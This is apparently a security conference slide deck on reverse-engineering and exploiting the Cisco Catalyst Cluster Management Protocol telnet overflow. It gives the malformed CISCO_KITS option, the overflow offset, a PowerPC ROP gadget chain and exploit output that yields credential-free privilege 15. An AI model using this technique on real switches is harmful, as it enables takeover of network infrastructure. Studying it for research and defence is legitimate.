Artem Kondratenko

Cisco Catalyst
Exploitation
Whoami

- Penetration tester @ Kaspersky Lab
- Hacker
- OSC(P|E)
- Skydiver ;)}
Cisco IOS and IOS XE Software Cluster Execution Vulnerability

Advisory ID: cisco-sa-20170317-cmp
First Published: 2017 March 17 16:00 GMT
Last Updated: 2017 April 3 17:51 GMT
Version 1.2: Final
Workarounds: No workarounds available
Cisco Bug IDs: CSCvd48893
CVSS Score: Base 9.8, Temporal 9.8
The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors:

- The failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device, and
- The incorrect processing of malformed CMP-specific Telnet options.
Cisco advisory

Workarounds
There are no workarounds that address this vulnerability.

Fixed Releases
There are no fixed software releases at this time. The IOS Software Checker tool will be updated once fixed software becomes available.
THIS IS FINE.
CHALLENGE ACCEPTED
Vault 7: Hacking Tools Revealed

Hacking techniques and potential exploit descriptions for multiple vendors:

- Microsoft
- Apple
- Cisco
Cisco switch exploit
Codename: ROCEM

Owner: User #71467

ROCEM v1.2-Adverse-1r Testing
ROCEM v1.2 was delivered by Xetron on 9/15/2015 to address ROC-12. EAR 5471 - ROCEM set/unset does not work with flux. ROCE
Adverse Regression testing will include test of set/unset feature fixed, test of complete CONOP for use with HG, test ROCEM interactiv

Testing Summary

Testing Notes
1. Test set/unset feature of ROCEM
   1. DUT configured with target configuration and network setup
   2. DUT is accessed by hopping through three flux nodes as per the CONOP
   3. Reloaded DUT to start with a clean device
   4. From Adverse ICON machine, set ROCEM:
      root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-qbdev-mz.122-35.SE5.py -s 192.168.0.254
      [+] Validating data/interactive.bin
      [+] Validating data/set.bin
      [+] Validating data/transfer.bin
      [+] Validating data/unset.bin

Rocem: Modes of Interaction

- Set
- Unset
- Interactive Mode
Easy enough

- Take two switches
- Cluster dem switches!
- Look for a magic whatever there is in the traffic
- ???
- Profit!!
I HAVE NO IDEA WHAT I'M DOING
Clustering Cisco switches

Controlling Slave switches from Master

$ telnet 192.168.88.10
  catalyst1#rcommand 1
  catalyst2#show priv
  Current privilege level is 15
### Clustering Catalyst switches

<table>
<thead>
<tr>
<th>MAC Address</th>
<th>Vendor</th>
<th>EtherType</th>
<th>Functioning</th>
<th>SNAP</th>
<th>OUI</th>
<th>Fabrication Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>32.212460238</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>68 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>40.32.42650862</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>66 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>41.32.430287315</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>68 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>42.32.431293216</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>62 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>43.32.431701439</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>74 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>44.32.432006775</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>62 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>45.32.435303978</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>79 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>46.32.436159730</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>47.32.436347579</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>48.32.438122615</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>49.32.438370619</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>50.32.438657224</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>51.32.438846725</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>71 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>52.32.439094625</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>53.32.439343393</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>65 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>54.32.440833385</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>70 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>55.32.441077091</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>67 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>56.32.44814993</td>
<td>CiscoInc_88:4a:80</td>
<td>LLC</td>
<td>85 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>57.32.451538687</td>
<td>CiscoInc_14:ab:80</td>
<td>LLC</td>
<td>76 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>58.32.648376338</td>
<td>CiscoInc 88:4a:80</td>
<td>LLC</td>
<td>62 U, func=UI; SNAP, OUI 0x000000C (Cisco)</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
For real?
Clustering Cisco switches: L2 telnet
Magic telnet option
14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output

1. Enabled debug telnet on DUT
2. Set ROCEM
3. Observed the following:
   
   000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused)
   000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34)
   000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39)
   000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5)
   000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused)
   000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1)

4. Observed the same for ROCEM unset, and ROCEM interactive session.
# Telnet commands and options

**Telnet commands:**

<table>
<thead>
<tr>
<th>Code</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>240</td>
<td>SE</td>
<td>End of subnegotiation parameters.</td>
</tr>
<tr>
<td>241</td>
<td>NOP</td>
<td>No operation.</td>
</tr>
<tr>
<td>242</td>
<td>Data Mark</td>
<td>The data stream portion of a Synch. This should always be accompanied by a TCP Urgent notification.</td>
</tr>
<tr>
<td>243</td>
<td>Break</td>
<td>NVT character BRK.</td>
</tr>
<tr>
<td>244</td>
<td>Interrupt Process</td>
<td>The function IP.</td>
</tr>
<tr>
<td>245</td>
<td>Abort output</td>
<td>The function AO.</td>
</tr>
<tr>
<td>246</td>
<td>Are You There</td>
<td>The function AYT.</td>
</tr>
<tr>
<td>247</td>
<td>Erase character</td>
<td>The function EC.</td>
</tr>
<tr>
<td>248</td>
<td>Erase Line</td>
<td>The function EL.</td>
</tr>
<tr>
<td>249</td>
<td>Go ahead</td>
<td>The GA signal.</td>
</tr>
<tr>
<td>250</td>
<td>SB</td>
<td>Indicates that what follows is subnegotiation of the indicated option.</td>
</tr>
<tr>
<td>251</td>
<td>WILL (option code)</td>
<td>Indicates the desire to begin performing, or confirmation that you are now performing, the indicated option.</td>
</tr>
<tr>
<td>252</td>
<td>WON'T (option code)</td>
<td>Indicates the refusal to perform, or continue performing, the indicated option.</td>
</tr>
<tr>
<td>253</td>
<td>DO (option code)</td>
<td>Indicates the request that the other party perform, or confirmation that you are expecting the other party to perform.</td>
</tr>
<tr>
<td>254</td>
<td>DON'T (option code)</td>
<td>Indicates the demand that the other party stop performing, or confirmation that you are no longer expecting the party to perform.</td>
</tr>
<tr>
<td>255</td>
<td>IAC</td>
<td>Data Byte 255.</td>
</tr>
</tbody>
</table>
Replaying CISCO_KITS option during generic telnet session doesn’t work 😞

And also...

Cisco IPS rule for this vuln is called “Cisco IOS CMP Buffer Overflow”
MOTHER OF GOD...

REVERSE ENGINEERING
Peeking at firmware

The firmware is available at the flash partition of the switch:

catalyst2#dir flash:
Directory of flash:/

2  -rw  x    9771282  Mar 1 1993 00:13:28 +00:00  c2960-lanbasek9-mz.122-55.SE1.bin
3  -rw  x    2487    Mar 1 1993 00:01:53 +00:00  config.text
4  -rw  x    3096    Mar 1 1993 00:09:27 +00:00  multiple-fs
Peeking at firmware

$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>1120x70</td>
<td>0x70</td>
<td>bzip2 compressed data, block size = 900k</td>
</tr>
</tbody>
</table>

Unpacked binary size is around 30 mb
The Reality 😞
Jokes aside

- CPU Architecture: PowerPC 32 bit big-endian
- Entry point at 0x3000 (obvious during device boot process if you look at it via serial)
Discovering functions with IDA python

```python
def define_functions():
    prologues = ['stwu', 'lhz', 'li', 'cmpwi', 'lis']

    print('Finding all signatures')
    ea = 0
    opcodes = set()
    for funcea in idautils.Functions(idc.SegStart(ea), idc.SegEnd(ea)):
        # Get the opcode
        start_opcode = idc.DWord(funcea)

        # Get the disassembled text
        dis_text = idc.GetDisasm(funcea)
        we_like_it = False

        # Filter possible errors on manually defined functions
        for prologue in prologues:
            if prologue in dis_text:
```
Aww.. the pain of static analysis

- No symbols.. Well, of course
- The whole OS is a single binary
- Indirect function call via function call tables filled at run time
Setting up debug environment

• There’s no public SDK
• Some firmware has a “gdb kernel” command.
  • Custom gdb server protocol
  • Unsupported by modern versions of gdb

Two options:
• Dig up an old gdb version and try to patch it
• Use IODIDE

George Nosenko built an IDA adapter to debug IOS but it’s not public
So I patched GDB…

```
artem@science:/cisco$ sudo ./gdb_ppc_2
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "--host=x86_64-unknown-linux-gnu --target=powerpc-elf".
warning: Relocation packet received with no symbol file. Packet Dropped
0x00000000 in ?? ()

(gdb) break 0x3000
No symbol table is loaded. Use the "file" command.
(gdb) break *0x3000
Breakpoint 1 at 0x3000
(gdb) c
Continuing.
Warning:
Cannot insert breakpoint 1.
Error accessing memory address 0x3000: Unknown error -1.
```


Well.. Had to debug IODIDE to be able to debug IOS
IODIDE
Hunting for string XREFS

After recognizing functions and strings with IDAPython, XREFS start to appear:

```
.string "CISCO_KITS"  # DATA XREF: return_cisco_kits+4↑o
               # ROM:off_1CCAD68↓o
.byte 0
.byte 0
```

Digging deeper
Client side send a string:

«\x03CISCO_KITS\x012::1:»

Second string modifier %s – was observed empty in the traffic dump

Let’s take a closer look at the code that parses this string
CISCO_KITS

```c
string_buffer = second_char_after_cisco_kits + 1;
for (j = (unsigned int8*)string_buffer; j != ':'; j = (unsigned int8*)string_buffer)
{
    str_buf[v19++ + 152] = j;
    ++string_buffer;
}
```

Copying until “:" to the buffer residing on the stack..😊
Buffalo overflow!
from pwn import *

payload = cyclic_metasploit(200)
sock.send(payload)
cyclic_metasploit_find(pc)

Crash – instruction pointer is overwritten by a 116th byte
Too easy?

- R9 points to our buffer
- No bad chars
- Wow, that looks to good to be true
- Just overwrite Program Counter with an instruction that jump to R9

```
mtctr r9
lwz r3, 0x1A4(r31)
bctrl
```
Fail

- Both heap and stack are non-executable. Btw, stack resides on the heap ;)
- Device reboot
- But why?
A little flashback

- A brilliant talk by Felix @ BlackHat
- PowerPC has separate instruction and data caches
- Executing data you just wrote doesn't work
Return oriented programming

• Code reuse in the binary
• Using stack as the data source
Return Oriented on PowerPC

[here be buffer overflow]
```
lwz %r0, 0x20+arg_4(%sp)
mtlr %r0
lwz %r30, 0x20+var_8(%sp)
lwz %r31, 0x20+var_4(%sp)
addi %sp, %sp, 0x20   
blr
```

```
FUNC_02:
  stw %r30, 0xAB(%r31)
lwz %r0, 0x18+arg_4(%sp)
mtlr %r0
lwz %r28, 0x18+var_10(%sp)
lwz %r29, 0x18+var_C(%sp)
lwz %r30, 0x18+var_8(%sp)
lwz %r31, 0x18+var_4(%sp)
addi %sp, %sp, 0x18
```

Memory write!

```
41414141 Buffer
41414141 Buffer
41414141 Buffer
41414141 Buffer
41414141 Buffer
```

```
VALUE saved R30
DEST.PTR saved R31
```

```
41414141 saved SP
FUNC_02 saved LR
```

```
42424242 saved R28
42424242 saved R29
VALUE2 saved R30
DEST.PTR2 saved R31
```

```
42424242 saved SP
FUNC_02 saved LR
stuff
```
Epilog chaining to perform arbitrary memory writes

Typical function epilog in the firmware

```
.code:009B9D90
    lwz    r0, 0x20+sender_lr(r1)
    mtlr   r0
    lwz    r27, 0x20+var_14(r1)
    lwz    r28, 0x20+var_10(r1)
    lwz    r29, 0x20+var_C(r1)
    lwz    r30, 0x20+var_8(r1)
    lwz    r31, 0x20+var_4(r1)
    addi   r1, r1, 0x20
    blr
```
Looking for gadgets

- https://github.com/sashes/Ropper
Ok, whatever dude... But whatcha gonna write?

First thing that comes to mind – patch the execution flow, responsible for the credential check.

```c
if ( *(DWORD *)&tty_struct_var[1].field_74 & *(DWORD *)&tty_struct_var[1].field_78
 || 1 == (v40 == 0)
 || *(DWORD *)&tty_struct_var->field_18C & 0x40
 || privilege_level != -1
 || user_access_verification(tty_struct_var, (int)v29, v27, v26, v25, v24) )
{
```

Wow… Looks like it worked:

$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '\x1'.

catalyst1>
Not quite

Works only under the debugger. Exception is triggered when trying to exploit the live set-up
More static analysis

• A couple of hours (days?) later...

```c
if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) ) // call do_telnet
{
    telnet_struct_var = tty_struct_var->telnet_struct_field;
    ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483])
    privilege_level = ptr_get_privilege_level(telnet_struct_var); // equals to 1 during rcommand 1
    telnet_struct_1 = tty_struct_var->telnet_struct_field;
    ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]); //
    ptr_telnet_related2(telnet_struct_1);
    *((DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *((DWORD *)&tty_;
} else
```
Indirect function calls

```assembly
    .code:00F47B58 loc_FA7B58:
    .code:00F47B59 # CODE XREF: exec_creation+8H1j
    .code:00F47B5A # exec_creation+C0Tj ...
    lis     r30, off_1F24A780ha
    lwz     r9, off_1F24A780@l(r30)
    lwz     r9, (ptr_is_cluster_mode - 0x22C8B58)(r9)
    mtctr   r9 # call is_cluster_mode
    lwz     r3, 0xDC(r31)
    bctr1
    cmpwi   cr7, r9, 0
    beq+    cr7, loc_Fa78D0
    lwz     r29, 0xDC(r31)
    lwz     r4, off_1F24A780@l(r30) # 0x22C8058
    li      r3, 0
    addi    r4, r4, 0x29
    bl      some_libc_func # dereference 0x22c8b58 + 0x29 + 0x6
    mtctr   r3 # call function at *(0x22c8058 + 0x28 + 0x6)
    mr      r3, r29 # get_privelege_level
    bctr1
    mr      r19, r3
    lwz     r29, 0xDC(r31)
    lwz     r4, off_1F24A780@l(r30) # 0x22C8058
    li      r3, 1
    addi    r4, r4, 0x38
    bl      some_libc_func
    mtctr   r3
    mr      r3, r29
    bctr1
    lwz     r0, 0xDC(r31)
    insrwi   r0, r19, 4,0
    lwz     r0, r0, 0,9,7
    stw     r0, 0xDC(r31)
    bl      loc_FA78E0
```

Got privileges? No creds required
1st gadget

0x000037b4:
   lwz r0, 0x14(r1)
   mtlr r0
   lwz r30, 8(r1)
   lwz r31, 0xc(r1)
   addi r1, r1, 0x10
   blr

1. Put ret address into r0
2. Load data pointed by r1+ 8 into r30 (is_cluster_mode func pointer)
3. Load data pointed by r1+ 0xc into r31 (address of “ret 1” function)
4. Add 0x10 to stack pointer
5. BLR! We jump to the next gadget
2st gadget

0x00dfbe8:
  stw r31, 0x34(r30)
lwz r0, 0x14(r1)
mtlr r0
lmw r30, 8(r1)
addi r1, r1, 0x10
blr

1. Write r31 contents to memory pointer by r30+ 0x34
2. Move next gadget’s address into r0
3. Junk code
4. Shift stack by 0x10 bytes
5. BLR! Jump to the next gadget
3rd, 4th and 5th gadgets

1. \( r3 = *(0x2c + *(r1+8)) \) – address of pointer to `get_privilege_level` func
2. \( R31 = *(r1 + 8) - r31 \) contents address of function that always return 15
3. Overwrite the pointer
PROFIT!

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Received bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting creless privilege 15 authentication
[+] All done

$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
Side note

• These switch models are common on pentests
• Successfully exploited this vulnerability on real life engagements:
  • Leak firmware version via SNMP
  • Customize exploit
  • Enjoy your shell
Conclusion

• Exploitation challenges:
  • Shellcode reliability for multiple firmware versions
  • Automating the search for suitable ROP gadgets
  • Finding a way execute arbitrary PPC instructions instead of arbitrary memory writes
Thanks!

@artkond
artkond.com